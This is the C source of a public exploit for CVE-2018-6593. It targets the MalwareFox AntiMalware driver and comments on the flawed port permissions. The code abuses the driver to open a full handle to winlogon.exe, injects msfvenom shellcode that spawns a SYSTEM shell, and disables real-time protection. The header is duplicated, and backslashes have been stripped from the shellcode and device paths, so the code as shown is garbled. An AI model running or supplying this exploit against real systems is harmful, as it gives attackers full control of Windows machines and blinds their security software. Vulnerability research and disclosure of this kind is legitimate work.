/*
Title : MalwareFox AntiMalware 2.74.0.150 - Local Privilege Escalation
Date : 02/02/2018
Author : Souhail Hammou
Vendor Homepage : https://www.malwarefox /*
Title : MalwareFox AntiMalware 2.74.0.150 - Local Privilege Escalation
Date : 02/02/2018
Author : Souhail Hammou
Vendor Homepage : https://www.malwarefox.com/
Version : 2.74.0.150
Tested on : Windows 7 32-bit / Windows 10 64-bit
CVE : CVE-2018-6593
*/
#include <Windows.h>
#include <fltUser.h>
#include <TlHelp32.h>
#include <stdio.h>

#pragma comment(lib,"FltLib.lib")

BOOL RegisterProcessByCommunicationPort()
{
HRESULT hResult;
HANDLE hPort;

/*
Improper access control :
The default DACL for the filter communication port is superseded allowing everyone to connect to the port:

.text:0000000140011987 lea rcx, [rbp+SecurityDescriptor]
.text:000000014001198B mov edx, 1F0001h
.text:0000000140011990 call FltBuildDefaultSecurityDescriptor ;default SD only allows SYSTEM & Admins to connect
.text:0000000140011995 test eax, eax

[.........]

.text:00000001400119B1
.text:00000001400119B1 loc_1400119B1: ; CODE XREF: sub_140011890+107j
.text:00000001400119B1 mov rcx, [rbp+SecurityDescriptor] ; SecurityDescriptor
.text:00000001400119B5 xor r9d, r9d ; DaclDefaulted
.text:00000001400119B8 xor r8d, r8d ; Dacl
.text:00000001400119BB mov dl, 1 ; DaclPresent
.text:00000001400119BD call cs:RtlSetDaclSecurityDescriptor ; <= Vuln: SD's DACL pointer is set to NULL, granting access to everyone

Once connected to the port, the driver automatically registers the process
as trusted. This allows the process to issue IOCTL codes that couldn't be sent otherwise.
e.g. disable real-time protection, write to raw disk, open full access handles to processes ...etc
*/

hResult = FilterConnectCommunicationPort(
L"\GLOBAL??\ZAM_MiniFilter_CommPort",
0,
NULL,
0,
NULL,
&hPort);

if (hResult != S_OK)
{
return FALSE;
}
CloseHandle(hPort);
return TRUE;
}

DWORD GetWinlogonPID()
{
DWORD WinlogonPid = 0;
PROCESSENTRY32 ProcessEntry;
ProcessEntry.dwSize = sizeof(PROCESSENTRY32);

HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
{
printf("[-] CreateToolhelp32Snapshot failed ! ");
goto ret;
}

if (!Process32First(hSnapshot, &ProcessEntry))
{
printf("[-] Process32First failed ! ");
goto cleanup;
}

do
{
if (!lstrcmp(ProcessEntry.szExeFile, "winlogon.exe"))
{
WinlogonPid = ProcessEntry.th32ProcessID;
break;
}
} while (Process32Next(hSnapshot, &ProcessEntry));

cleanup:
CloseHandle(hSnapshot);
ret:
return WinlogonPid;
}
int main(int argc, char** argv)
{
DWORD BytesReturned;
DWORD winlogon_pid;
HANDLE winlogon_handle;
LPVOID RemoteAllocation;
HANDLE hDevice;

printf("=== MalwareFox Anti-Malware 2.74.0.150 zam64.sys Local Privilege Escalation === ");
printf(" Tested on Windows 10 64-bit ");
printf(" Souhail Hammou ");
printf("[*] Stage 1: Registering the process with the driver by connecting to the minifilter communication port ");

hDevice = CreateFile
("\\.\ZemanaAntiMalware",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE)
{
return 0;
}


if (!RegisterProcessByCommunicationPort())
{
printf(" [-] Registration Failed ! ");
return 0;
}

printf(" [+] Process registered. [*] Stage 2: ");

printf(" [+] Getting Winlogon's PID ");
winlogon_pid = GetWinlogonPID();

if (!winlogon_pid)
{
printf(" [-] GetWinlogonPID() failed ! ");
return 0;
}

printf(" [+] (IOCTL) Opening a full access, user-mode accessible handle from kernel-mode to winlogon ");

/*
The dispatcher for IOCTL code 0x8000204C opens a full access handle, accessible from usermode, to a process.
We use this IOCTL to open a full access handle to winlogon.exe.
Note that this IOCTL can only be sent if the process is registered with the driver.
*/
if (!DeviceIoControl(hDevice, 0x8000204C, &winlogon_pid, sizeof(DWORD), &winlogon_handle, sizeof(HANDLE), &BytesReturned, NULL))
{
printf(" [-] DeviceIoControl 0x8000204C failed ! ");
return 0;
}

printf(" [+] Allocating executable memory in winlogon.exe using the full access handle ");

if (!(RemoteAllocation = VirtualAllocEx(winlogon_handle, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE)))
{
printf(" [-] VirtualAllocEx failed ! ");
return 0;
}

printf(" [+] Writing shellcode to allocated memory ");

/*msfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=thread -f c*/
unsigned char buf[] =
"xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50"
"x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52"
"x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4a"
"x4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41"
"xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52"
"x20x8bx42x3cx48x01xd0x8bx80x88x00x00x00x48"
"x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40"
"x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48"
"x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41"
"x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1"
"x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0c"
"x48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01"
"xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5a"
"x48x83xecx20x41x52xffxe0x58x41x59x5ax48x8b"
"x12xe9x57xffxffxffx5dx48xbax01x00x00x00x00"
"x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8b"
"x6fx87xffxd5xbbxe0x1dx2ax0ax41xbaxa6x95xbd"
"x9dxffxd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0"
"x75x05xbbx47x13x72x6fx6ax00x59x41x89xdaxff"
"xd5x63x6dx64x2ex65x78x65x00";

if (!WriteProcessMemory(winlogon_handle, RemoteAllocation, buf, sizeof(buf), &BytesReturned))
{
printf(" [-] WriteProcessMemory Failed ! ");
return 0;
}

printf(" [+] Spawning SYSTEM shell ");
if (!CreateRemoteThread(winlogon_handle, NULL, 0, RemoteAllocation, NULL, 0, NULL))
{
printf(" [-] CreateRemoteThread Failed! Did you compile the exploit as a 64-bit executable ? ");
return 0;
}

printf("[*] Bonus: [+] Disabling real-time protection ");
if (!DeviceIoControl(hDevice, 0x80002090, NULL, 0, NULL, 0, &BytesReturned, NULL))
{
printf(" [-] DeviceIoControl 0x80002090 failed ! ");
return 0;
}
printf(" [+] RT protection disabled.");
return 0;
}